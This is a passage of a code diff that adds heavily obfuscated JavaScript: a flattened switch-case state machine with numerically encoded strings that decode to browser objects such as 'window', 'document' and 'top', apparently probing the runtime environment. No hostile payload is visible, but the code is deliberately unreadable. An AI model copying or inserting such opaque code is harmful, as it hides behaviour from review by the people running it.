_$B = _$Uj; + var _$X = _$qD; + var _$F = _$Yj; + var _$J = _$Wj; + var _$$ = _$Qj; + var _$aa = _$Kj; + var _$ea = _$Dj; + var _$ra = _$Cj; + var _$ca = _$jj; + var _$va = _$OQ; + var _$sa = _$Tj; + var _$na = _$mj; + var _$fa = _$Sj; + var _$ta = _$Aj; + var _$ia = _$Ij; + var _$oa = _$Mj; + var _$ka = _$dj; + var _$ba = _$wj; + var _$la = _$yj; + var _$ha = _$pj; + var _$ga = _$uj; + var _$ua = _$pK; + var _$pa = _$gj; + var _$ya = _$hj; + var _$wa = _$lj; + var _$da = _$bj; + var _$Ma = _$kj; + var _$Ia = _$oj; + var _$Aa = _$ij; + var _$Sa = _$tj; + var _$ma = _$fj; + var _$Ta = _$nj; + var _$ja = _$sj; + var _$Ca = _$vj; + var _$Da = _$cj; + var _$Ka = _$rj; + var _$Qa = _$ej; + var _$Wa = _$aj; + var _$Ya = _$$T; + var _$Ua = _$JT; + var _$Oa = _$FT; + var _$Pa = _$XT; + var _$Ga = _$BT; + var _$Na = _$xT; + var _$Za = _$HT; + var _$za = _$qT; + var _$Ea = _$VT; + var _$Ra = _$LT; + var _$_a = _$_T; + var _$La = _$RT; + var _$Va = _$ET; + var _$qa = _$zT; + var _$Ha = _$ZT; + var _$xa = _$NT; + var _$Ba = _$GT; + var _$Xa = _$PT; + var _$Fa = _$OT; + var _$Ja = _$UT; + var _$$a = _$YT; + var _$ae = _$WT; + var _$ee = _$QT; + var _$re = _$KT; + var _$ce = _$DT; + var _$ve = _$CT; + var _$se = _$jT; + var _$ne = _$TT; + var _$fe = _$mT; + var _$te = _$ST; + var _$ie = _$AT; + var _$oe = _$IT; + var _$ke = _$MT; + var _$be = _$dT; + var _$le = _$wT; + var _$he = _$yT; + var _$ge = _$pT; + var _$ue = _$uT; + var _$pe = _$gT; + var _$ye = _$hT; + var _$we = _$lT; + var _$de = _$bT; + var _$Me = _$kT; + var _$Ie = _$oT; + var _$Ae = _$iT; + var _$Se = _$tT; + var _$me = _$fT; + var _$Te = _$nT; + var _$je = _$sT; + var _$Ce = _$vT; + var _$De = _$cT; + var _$Ke = _$rT; + var _$Qe = _$eT; + var _$We = _$aT; + var _$Ye = _$$m; + var _$Ue = _$Jm; + var _$Oe = _$Fm; + var _$Pe = _$Xm; + var _$Ge = _$Bm; + var _$Ne = _$xm; + var _$Ze = _$Hm; + var _$ze = _$qm; + var _$Ee = _$Vm; + var _$Re = _$Lm; + var _$_e = _$_m; + var _$Le = _$Rm; + var _$Ve = _$Em; + var _$qe = _$zm; + var _$He = _$Zm; + var _$xe = _$Nm; + var _$Be = _$Gm; + var _$Xe = _$Pm; + var _$Fe = _$Om; + var _$Je = _$Um; + var _$$e = _$Ym; + var _$ar = _$ZD; + var _$er = _$Wm; + var _$rr = _$Qm; + var _$cr = _$Km; + var _$vr = _$Dm; + var _$sr = _$Cm; + var _$nr = _$eK; + var _$fr = _$cK; + var _$tr = _$jm; + var _$ir = _$Tm; + var _$or = _$mm; + var _$kr = _$Sm; + var _$br = _$Am; + var _$lr = _$Im; + var _$hr = _$Mm; + var _$gr = _$dm; + var _$ur = _$JD; + var _$pr = _$wm; + var _$yr = _$ym; + var _$wr = _$pm; + var _$dr = _$um; + var _$Mr = _$gm; + var _$Ir = _$hm; + var _$Ar = _$lm; + var _$Sr = _$bm; + var _$mr = _$ZQ; + var _$Tr = _$km; + var _$jr = _$om; + var _$Cr = _$im; + var _$Dr = _$DQ; + var _$Kr = _$tm; + var _$Qr = _$fm; + var _$Wr = _$nm; + var _$Yr = _$sm; + var _$Ur = _$vm; + var _$Or = _$mQ; + var _$Pr = _$cm; + var _$Gr = _$rm; + var _$Nr = _$em; + var _$Zr = _$am; + var _$zr = _$$S; + var _$Er = _$JS; + var _$Rr = _$FS; + var _$_r = _$XS; + var _$Lr = _$BS; + var _$Vr = _$xS; + var _$qr = _$HS; + var _$Hr = _$qS; + var _$xr = _$VS; + var _$Br, _$Xr, _$Fr, _$Jr, _$$r, _$ac, _$ec, _$rc, _$cc, _$vc, _$sc, _$nc, _$fc, _$tc, _$ic, _$oc, _$kc, _$bc, _$lc, _$hc, _$gc, _$uc, _$pc, _$yc, _$wc, _$dc, _$Mc, _$Ic, _$Ac, _$Sc, _$mc, _$Tc, _$jc, _$Cc, _$Dc, _$Kc, _$Qc, _$Wc, _$Yc, _$Uc, _$Oc, _$Pc, _$Gc, _$Nc, _$Zc, _$zc, _$Ec, _$Rc, _$_c, _$Lc, _$Vc, _$qc, _$Hc, _$xc, _$Bc, _$Xc, _$Fc, _$Jc, _$$c, _$av, _$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv, _$bv, _$lv, _$hv, _$gv, _$uv, _$pv, _$yv, _$wv, _$dv, _$Mv, _$Iv, _$Av, _$Sv, _$mv, _$Tv, _$jv, _$Cv, _$Dv, _$Kv, _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$Jv, _$$v, _$as, _$es, _$rs, _$cs, _$vs, _$ss, _$ns, _$fs, _$ts, _$is, _$os, _$ks, _$bs, _$ls, _$hs, _$gs, _$us, _$ps, _$ys, _$ws, _$ds, _$Ms, _$Is, _$As, _$Ss, _$ms, _$Ts, _$js, _$Cs, _$Ds, _$Ks, _$Qs, _$Ws, _$Ys, _$Us, _$Os, _$Ps, _$Gs, _$Ns, _$Zs, _$zs, _$Es, _$Rs, _$_s, _$Ls, _$Vs, _$qs, _$Hs, _$xs, _$Bs, _$Xs, _$Fs, _$Js, _$$s, _$an, _$en, _$rn, _$cn, _$vn, _$sn, _$nn, _$fn, _$tn, _$in, _$on, _$kn, _$bn, _$ln, _$hn, _$gn, _$un, _$pn, _$yn, _$wn, _$dn, _$Mn, _$In, _$An, _$Sn, _$mn, _$Tn, _$jn, _$Cn, _$Dn, _$Kn, _$Qn, _$Wn, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn, _$Bn, _$Xn, _$Fn, _$Jn, _$$n, _$af, _$ef, _$rf, _$cf, _$vf, _$sf, _$nf, _$ff, _$tf, _$if, _$of, _$kf, _$bf, _$lf, _$hf, _$gf, _$uf, _$pf, _$yf, _$wf, _$df, _$Mf, _$If, _$Af, _$Sf, _$mf, _$Tf, _$jf, _$Cf, _$Df, _$Kf, _$Qf, _$Wf, _$Yf, _$Uf, _$Of, _$Pf, _$Gf, _$Nf, _$Zf, _$zf, _$Ef, _$Rf, _$_f, _$Lf, _$Vf, _$qf, _$Hf, _$xf, _$Bf, _$Xf, _$Ff, _$Jf, _$$f, _$at, _$et, _$rt, _$ct, _$vt, _$st, _$nt, _$ft, _$tt, _$it, _$ot, _$kt, _$bt, _$lt, _$ht, _$gt, _$ut, _$pt, _$yt, _$wt, _$dt, _$Mt, _$It, _$At, _$St, _$mt, _$Tt, _$jt, _$Ct, _$Dt, _$Kt, _$Qt, _$Wt, _$Yt, _$Ut, _$Ot, _$Pt, _$Gt, _$Nt, _$Zt, _$zt, _$Et, _$Rt, _$_t, _$Lt, _$Vt, _$qt, _$Ht, _$xt, _$Bt, _$Xt, _$Ft, _$Jt, _$$t, _$ai, _$ei, _$ri, _$ci, _$vi, _$si, _$ni, _$fi, _$ti, _$ii, _$oi, _$ki, _$bi, _$li, _$hi, _$gi, _$ui, _$pi, _$yi, _$wi, _$di, _$Mi, _$Ii, _$Ai, _$Si, _$mi, _$Ti, _$ji, _$Ci, _$Di, _$Ki, _$Qi, _$Wi, _$Yi, _$Ui, _$Oi, _$Pi, _$Gi, _$Ni, _$Zi, _$zi, _$Ei, _$Ri, _$_i, _$Li, _$Vi, _$qi, _$Hi, _$xi, _$Bi, _$Xi, _$Fi, _$Ji, _$$i, _$ao, _$eo, _$ro, _$co, _$vo, _$so, _$no, _$fo, _$to, _$io, _$oo, _$ko, _$bo, _$lo, _$ho, _$go, _$uo, _$po, _$yo, _$wo, _$do, _$Mo, _$Io, _$Ao, _$So, _$mo, _$To, _$jo, _$Co, _$Do, _$Ko, _$Qo, _$Wo, _$Yo, _$Uo, _$Oo, _$Po, _$Go, _$No, _$Zo, _$zo, _$Eo, _$Ro, _$_o, _$Lo, _$Vo, _$qo, _$Ho, _$xo, _$Bo, _$Xo, _$Fo, _$Jo, _$$o, _$ak, _$ek, _$rk, _$ck, _$vk, _$sk, _$nk, _$fk, _$tk, _$ik, _$ok, _$kk, _$bk, _$lk, _$hk, _$gk, _$uk, _$pk, _$yk, _$wk, _$dk, _$Mk, _$Ik, _$Ak, _$Sk, _$mk, _$Tk, _$jk, _$Ck, _$Dk, _$Kk, _$Qk, _$Wk, _$Yk, _$Uk, _$Ok, _$Pk, _$Gk, _$Nk, _$Zk, _$zk, _$Ek, _$Rk, _$_k, _$Lk, _$Vk, _$qk, _$Hk, _$xk, _$Bk, _$Xk, _$Fk, _$Jk, _$$k, _$ab, _$eb, _$rb, _$cb, _$vb, _$sb, _$nb, _$fb, _$tb, _$ib, _$ob, _$kb, _$bb, _$lb, _$hb, _$gb, _$ub, _$pb, _$yb, _$wb, _$db, _$Mb, _$Ib, _$Ab, _$Sb, _$mb, _$Tb, _$jb, _$Cb, _$Db, _$Kb, _$Qb, _$Wb, _$Yb; + _$Br = 10; + _$Xr = _$Br; + while (!![]) { + switch (_$Xr) { + case 1: + if (_$Mi) { + _$Br = _$xr + _$qr + _$Hr; + _$sc = _$Br; + _$Br = _$sc; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Fr = _$fc; + _$Br = []; + _$tc = _$Br; + for (_$ic = 0; _$ic < _$Fr; _$ic++) { + _$Br = _$sc; + _$nc = _$OC; + _$fc = _$ic; + _$oc = _$Br[_$nc](_$fc); + _$Jr = _$oc; + _$Br = _$Jr; + _$nc = 65536; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Jr; + _$bc = 1114111; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 18; + _$lc = _$fc >> _$oc; + _$hc = 7; + _$gc = _$lc & _$hc; + _$uc = 240; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$Jr; + _$nc = 2048; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Jr; + _$bc = 65535; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 15; + _$gc = _$lc & _$hc; + _$uc = 224; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$Jr; + _$nc = 128; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$Jr; + _$bc = 2047; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 31; + _$gc = _$lc & _$hc; + _$uc = 192; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$tc; + _$nc = _$LC; + _$fc = _$Jr; + _$oc = 255; + _$lc = _$fc & _$oc; + _$Br[_$nc](_$lc) + } + } + } + } + _$Br = _$tc; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$$r = _$fc; + _$Br = _$$r; + _$nc = 2; + _$fc = _$Br / _$nc; + _$$r = _$fc; + _$Br = []; + _$yc = _$Br; + _$Br = 0; + _$ac = _$Br; + for (_$wc = 0; _$wc < _$$r; _$wc++) { + _$Br = _$tc; + _$nc = _$ac; + _$fc = _$Br[_$nc]; + _$cc = _$fc; + _$Br = _$tc; + _$nc = _$ac; + _$fc = 1; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$vc = _$lc; + _$Br = _$ac; + _$nc = 2; + _$fc = _$Br + _$nc; + _$ac = _$fc; + _$Br = _$cc; + _$nc = 46; + _$fc = _$Br - _$nc; + _$cc = _$fc; + _$Br = _$vc; + _$nc = 46; + _$fc = _$Br - _$nc; + _$vc = _$fc; + _$Br = _$vc; + _$nc = 19; + _$fc = _$Br * _$nc; + _$oc = _$cc; + _$lc = _$fc + _$oc; + _$rc = _$lc; + _$Br = _$rc; + _$nc = 11; + _$fc = _$Br ^ _$nc; + _$ec = _$fc; + _$Br = _$yc; + _$nc = _$wc; + _$fc = _$ec; + _$Br[_$nc] = _$fc + } + _$Br = _$BC; + _$dc = _$Br; + for (_$mc = 0; _$mc < _$yc.length; _$mc++) { + _$Br = _$yc; + _$nc = _$mc; + _$fc = _$Br[_$nc]; + _$oc = _$Vr + _$Lr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$Mc = _$hc; + _$Br = _$Mc; + _$nc = _$LS; + _$fc = /^1+?(?=0)/; + _$oc = _$Br[_$nc](_$fc); + _$Ic = _$oc; + _$Br = _$Ic; + _$nc = _$Br; + if (_$nc) { + _$kc = _$Mc; + _$bc = _$PC; + _$Tc = _$kc[_$bc]; + _$jc = 8; + _$nc = _$Tc === _$jc + } + if (_$nc) { + _$Br = _$Ic; + _$nc = 0; + _$fc = _$Br[_$nc]; + _$oc = _$PC; + _$lc = _$fc[_$oc]; + _$Ac = _$lc; + _$Br = _$yc; + _$nc = _$mc; + _$fc = _$Br[_$nc]; + _$oc = _$_r + _$Rr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$_S; + _$uc = 7; + _$pc = _$Ac; + _$Cc = _$uc - _$pc; + _$Dc = _$hc[_$gc](_$Cc); + _$Sc = _$Dc; + for (_$Kc = 0; _$Kc < _$Ac; _$Kc++) { + _$Br = _$yc; + _$nc = _$Kc; + _$fc = _$mc; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$hc = _$_r + _$Rr; + _$gc = 2; + _$uc = _$lc[_$hc](_$gc); + _$pc = _$_S; + _$Cc = 2; + _$Dc = _$uc[_$pc](_$Cc); + _$Sc += _$Dc + } + _$Br = _$Sc; + _$nc = 2; + _$fc = parseInt(_$Br, _$nc); + _$oc = _$bW(_$fc); + _$dc += _$oc; + _$Br = _$Ac; + _$nc = 1; + _$fc = _$Br - _$nc; + _$mc += _$fc + } else { + _$Br = _$yc; + _$nc = _$mc; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$dc += _$oc + } + } + _$Br = _$Nc; + _$nc = _$dc; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr += 77; + break; + case 2: + _$Qc = _$Jn; + _$Xr += 83; + break; + case 3: + _$pY = _$Iv; + _$Xr += 117; + break; + case 4: + _$Ev = [920, 808, 864, 816]; + _$Xr += 61; + break; + case 5: + _$bf = _$kf[4] + _$kf[6]; + _$Xr += 146; + break; + case 6: + _$Wc = _$bW(_$bs.d(0) - _$bs.length); + _$Xr += 156; + break; + case 7: + for (_$Yc = 0; _$Yc < _$rf.length; _$Yc++) { + _$Br = _$ev; + _$nc = _$rf; + _$fc = _$Yc; + _$oc = _$nc[_$fc]; + _$lc = 3; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$ev = _$uc + } + _$Xr += 128; + break; + case 8: + _$Uc = this[_$di]; + _$Oc = _$Gc == _$Uc && _$Zv == _$Uc; + _$Xr += 248; + break; + case 9: + _$Rc = [15488, 12416, 13696, 6272, 12160, 4096, 8704, 8064, 15232, 8960, 13824, 8576, 11520, 11904]; + _$Xr += 99; + break; + case 10: + _$Pc = _$tY + _$LY; + _$Gc = this; + _$Xr += 26; + break; + case 11: + _$Ev = _$Ev + 1; + _$Xr += 10; + break; + case 12: + _$Nc = _$aY; + _$Zc = []; + _$zc = [17, 0, 24, 126, 40, 78, 20, 77, 24, 54, 9, 49, 46, 36]; + _$Ec = _$RS; + _$Rc = 1; + _$Xr += 203; + break; + case 13: + _$Rc = _$Rc.p(_$Ec); + _$Xr -= 11; + break; + case 14: + for (_$_c = 0; _$_c < _$vo.length; _$_c++) { + _$Br = _$Xo; + _$nc = _$LC; + _$fc = _$vo; + _$oc = _$_C; + _$lc = _$so; + _$hc = _$_c; + _$gc = _$lc[_$hc]; + _$uc = _$fc[_$oc](_$gc); + _$Br[_$nc](_$uc) + } + _$Xr += 99; + break; + case 15: + try { + _$Br = Double; + _$Lc = _$Br + } catch (_$a) { + _$Br = 579; + _$cv = _$Br + } + _$Xr -= 3; + break; + case 16: + for (_$Vc = 0, + _$qc = _$Zc.length; _$Vc < _$qc; ++_$Vc) { + _$Br = _$Zc; + _$nc = _$Vc; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$dn += _$oc + } + _$Xr += 40; + break; + case 17: + _$Tf = [2048, 7808, 2112, 4352, 2176, 3840, 2240, 7488, 2304, 7680, 2368, 4160, 2432, 3904, 2496, 6528, 2560, 2944, 2624, 3456, 8064, 2304, 2688, 3328, 2752, 6976, 2816, 2688, 2880, 6848, 2944, 5440, 3008, 5184, 3072, 3968, 3136, 4800, 3200, 3776, 3264, 3072, 3328, 4992, 3392, 6336, 3456, 4288, 3520, 4096, 3584, 7552, 3648, 7744, 3712, 3392, 3776, 6720, 3840, 3264, 3904, 2176, 3968, 6016, 4032, 7360, 4096, 4672, 4160, 2368, 4224, 5056, 4288, 7872, 4352, 5824, 4416, 2048, 4480, 7936, 4544, 6400, 4608, 3648, 4672, 2624, 4736, 4608, 4800, 4416, 4864, 6464, 4928, 3712, 4992, 5568, 5056, 2112, 5120, 6592, 5184, 2560, 5248, 2880, 5312, 6208, 5376, 4736, 5440, 7104, 5504, 6080, 5568, 4928, 5632, 3008, 5696, 5952, 5760, 6144, 5824, 5888, 5888, 6784, 5952, 2816, 6016, 3520, 6080, 2240, 6144, 4864, 6208, 7232, 6272, 5376, 6336, 4224, 6400, 5632, 6464, 6272, 6528, 2752, 6592, 6912, 6656, 7040, 6720, 5696, 6784, 4032, 6848, 2496, 6912, 4480, 6976, 5760, 7040, 3136, 7104, 3200, 7168, 5120, 7232, 7424, 7296, 8e3, 7360, 2432, 7424, 5504, 7488, 4544, 7552, 7616, 7616, 6656, 7680, 7296, 7744, 8064, 7808, 5312, 7872, 5248, 7936, 3584, 8e3, 7168]; + _$Xr += 113; + break; + case 18: + if (_$Mi && _$Nc) { + _$Br = _$ES; + _$Hc = _$Br; + _$nc = 1; + _$xc = _$nc; + _$Br = _$xc; + _$nc = 1; + _$fc = _$Br + _$nc; + _$xc = _$fc; + _$Br = 1; + _$Hc = _$Br; + _$Br = _$BC; + _$Bc = _$Br; + _$Br = _$xc; + _$Hc = _$Br; + _$Br = 1856; + _$nc = 1776; + _$fc = 1792; + _$oc = [_$Br, _$nc, _$fc]; + _$xc = _$oc; + for (_$Xc = 0; _$Xc < _$xc.length; _$Xc++) { + _$Br = _$Bc; + _$nc = _$xc; + _$fc = _$Xc; + _$oc = _$nc[_$fc]; + _$lc = 4; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Bc = _$uc + } + _$Br = _$xc; + _$nc = _$LC; + _$fc = _$Hc; + _$oc = _$Br[_$nc](_$fc); + _$xc = _$oc; + _$Br = _$zS; + _$Fc = _$Br; + _$nc = 1; + _$Jc = _$nc; + _$Br = _$Jc; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Jc = _$fc; + _$Br = 1; + _$Fc = _$Br; + _$Br = _$BC; + _$$c = _$Br; + _$Br = _$Jc; + _$Fc = _$Br; + _$Br = 237568; + _$nc = 227328; + _$fc = 229376; + _$oc = [_$Br, _$nc, _$fc]; + _$Jc = _$oc; + for (_$av = 0; _$av < _$Jc.length; _$av++) { + _$Br = _$$c; + _$nc = _$Jc; + _$fc = _$av; + _$oc = _$nc[_$fc]; + _$lc = 11; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$$c = _$uc + } + _$Br = _$Jc; + _$nc = _$LC; + _$fc = _$Fc; + _$oc = _$Br[_$nc](_$fc); + _$Jc = _$oc; + _$Br = _$Nc; + _$nc = _$Zc; + _$fc = _$Bc; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$$c; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 25; + break; + case 19: + _$ev = _$BC; + _$Xr += 234; + break; + case 20: + _$vo = _$vo * 5; + _$Xr += 247; + break; + case 21: + _$zv = 1; + _$Xr += 209; + break; + case 22: + _$Ec = 1; + _$Xr += 117; + break; + case 23: + for (_$rv = 0; _$rv < 10; _$rv++) { + _$Br = _$kf; + _$nc = _$LC; + _$fc = _$rv; + _$oc = 6; + _$lc = _$fc + _$oc; + _$Br[_$nc](_$lc) + } + _$Xr += 219; + break; + case 24: + _$as = 1; + _$Xr += 210; + break; + case 25: + _$cv = false; + _$Xr -= 10; + break; + case 26: + for (_$vv = 0; _$vv < _$ct.length; ) { + _$Br = _$ko; + _$nc = _$_C; + _$fc = _$ct; + _$oc = _$_C; + _$lc = _$vv; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$OC; + _$uc = _$hc[_$gc](); + _$pc = 32; + _$Cc = _$uc - _$pc; + _$Dc = _$Br[_$nc](_$Cc); + _$sv = _$Dc; + _$nv = _$ko; + _$fv = _$_C; + _$tv = _$ct; + _$iv = _$_C; + _$ov = _$vv; + _$kv = 1; + _$bv = _$ov + _$kv; + _$lv = _$tv[_$iv](_$bv); + _$hv = _$OC; + _$gv = _$lv[_$hv](); + _$uv = 32; + _$pv = _$gv - _$uv; + _$yv = _$nv[_$fv](_$pv); + _$wv = _$yv; + _$Br = _$vt; + _$nc = _$sv; + _$fc = _$wv; + _$Br[_$nc] = _$fc; + _$Br = _$vv; + _$nc = 2; + _$fc = _$Br + _$nc; + _$vv = _$fc + } + _$Xr += 73; + break; + case 27: + _$rf = _$rf + 1; + _$Xr += 216; + break; + case 28: + _$Tf = _$Tf.p(_$mf); + _$Xr += 29; + break; + case 29: + _$rt = [400, 444, 396, 468, 436, 404, 440, 464]; + _$Xr += 219; + break; + case 30: + _$dv = _$ZS; + _$Mv = 1; + _$Xr += 20; + break; + case 31: + _$Iv = _$TW; + _$Av = _$NS; + _$Sv = 1; + _$Xr += 56; + break; + case 32: + _$Ec = _$Rc; + _$Xr -= 23; + break; + case 33: + for (_$mv = 0, + _$Tv = _$FW.length; _$mv < _$Tv; ++_$mv) { + _$Br = _$UW; + _$nc = _$LC; + _$fc = _$FW; + _$oc = _$mv; + _$lc = _$fc[_$oc]; + _$hc = 24; + _$gc = _$lc ^ _$hc; + _$Br[_$nc](_$gc); + _$Br = _$MY; + _$nc = _$LC; + _$fc = _$FW; + _$oc = _$mv; + _$lc = _$fc[_$oc]; + _$hc = 146; + _$gc = _$lc ^ _$hc; + _$Br[_$nc](_$gc) + } + _$Xr += 120; + break; + case 34: + _$jv = _$At; + _$Xr += 47; + break; + case 35: + _$of = _$of.p(_$if); + _$Xr += 256; + break; + case 36: + _$UW = []; + _$Xr += 22; + break; + case 37: + _$zv = _$Ev; + _$Xr -= 33; + break; + case 38: + _$Cv = _$It; + _$Xr += 130; + break; + case 39: + for (_$Dv = 1, + _$Kv = _$Fs.length; _$Dv < _$Kv; _$Dv += 2) { + _$Br = _$wW; + _$nc = _$LC; + _$fc = _$Fs; + _$oc = _$Dv; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr += 193; + break; + case 40: + _$so = _$vo; + _$Xr += 33; + break; + case 41: + _$kf[4] = _$bf - _$kf[5]; + _$Xr += 25; + break; + case 42: + if (_$bf - _$kf[6]) { + _$Br = _$bf; + _$nc = _$kf; + _$fc = 3; + _$oc = _$nc[_$fc]; + _$lc = _$Br + _$oc; + _$bf = _$lc + } + _$Xr += 178; + break; + case 43: + if (_$Mi) { + _$Br = _$GS; + _$Qv = _$Br; + _$nc = 1; + _$Wv = _$nc; + _$Br = _$Wv; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Wv = _$fc; + _$Br = 1; + _$Qv = _$Br; + _$Br = _$BC; + _$Yv = _$Br; + _$Br = _$Wv; + _$Qv = _$Br; + _$Br = 237568; + _$nc = 227328; + _$fc = 229376; + _$oc = [_$Br, _$nc, _$fc]; + _$Wv = _$oc; + for (_$Uv = 0; _$Uv < _$Wv.length; _$Uv++) { + _$Br = _$Yv; + _$nc = _$Wv; + _$fc = _$Uv; + _$oc = _$nc[_$fc]; + _$lc = 11; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Yv = _$uc + } + _$Br = _$Wv; + _$nc = _$LC; + _$fc = _$Qv; + _$oc = _$Br[_$nc](_$fc); + _$Wv = _$oc; + _$Br = _$Nc; + _$nc = _$Yv; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 1; + break; + case 44: + _$DY = _$Gc; + _$Xr -= 11; + break; + case 45: + _$Ov = _$BC; + _$Xr += 37; + break; + case 46: + for (_$Pv = 0; _$Pv < _$zt.length; _$Pv++) { + _$Br = _$rn; + _$nc = _$zt; + _$fc = _$Pv; + _$oc = _$nc[_$fc]; + _$lc = 8; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$rn = _$uc + } + _$Xr += 154; + break; + case 47: + _$Sv = [5046272, 6356992, 7602176, 6815744]; + _$Xr += 205; + break; + case 48: + _$gs = 1; + _$Xr += 157; + break; + case 49: + for (_$Gv = 0, + _$Nv = _$mW.length; _$Gv < _$Nv; ++_$Gv) { + _$Br = _$CW; + _$nc = _$LC; + _$fc = _$mW; + _$oc = _$Gv; + _$lc = _$fc[_$oc]; + _$hc = 35; + _$gc = _$lc & _$hc; + _$Br[_$nc](_$gc) + } + _$Xr += 42; + break; + case 50: + _$Mv = _$Mv + 1; + _$Xr += 117; + break; + case 51: + _$yb = _$wb; + _$Xr += 18; + break; + case 52: + _$bf = _$bf * _$kf[7]; + _$Xr += 10; + break; + case 53: + _$Zv = _$pW; + _$zv = _$PS; + _$Ev = 1; + _$Xr -= 42; + break; + case 54: + _$kf[8] = _$bf / _$kf[4]; + _$Xr += 181; + break; + case 55: + _$gn = [3552, 3136, 3392, 3232, 3168, 3712]; + _$Xr += 222; + break; + case 56: + _$Zc = _$dn; + _$Xr -= 26; + break; + case 57: + _$Rv = _$Ov; + _$_v = {}; + _$Lv = _$Dr + _$Kr + _$Wr + _$Yr + _$jr + _$Er + _$zr + _$Cr + _$Sr + _$Gr + _$Pr + _$Ir + _$Zr + _$mr + _$Qr + _$Or + _$Ur + _$Nr + _$Tr + _$Ar; + _$Vv = _$bW(_$Lv.d(0) - _$Lv.length); + _$Xr += 32; + break; + case 58: + for (_$mv = 0, + _$Tv = _$Pc.length; _$mv < _$Tv; ++_$mv) { + _$Br = _$UW; + _$nc = _$LC; + _$fc = _$Pc; + _$oc = _$mv; + _$lc = _$fc[_$oc]; + _$hc = 9; + _$gc = _$lc ^ _$hc; + _$Br[_$nc](_$gc) + } + _$Xr -= 5; + break; + case 59: + if (_$Mi) { + _$Br = _$OS; + _$qv = _$Br; + _$nc = 1; + _$Hv = _$nc; + _$Br = _$Hv; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Hv = _$fc; + _$Br = 1; + _$qv = _$Br; + _$Br = _$BC; + _$xv = _$Br; + _$Br = _$Hv; + _$qv = _$Br; + _$Br = 974848; + _$nc = 860160; + _$fc = 901120; + _$oc = 819200; + _$lc = 909312; + _$hc = 974848; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Hv = _$gc; + for (_$Bv = 0; _$Bv < _$Hv.length; _$Bv++) { + _$Br = _$xv; + _$nc = _$Hv; + _$fc = _$Bv; + _$oc = _$nc[_$fc]; + _$lc = 13; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$xv = _$uc + } + _$Br = _$Hv; + _$nc = 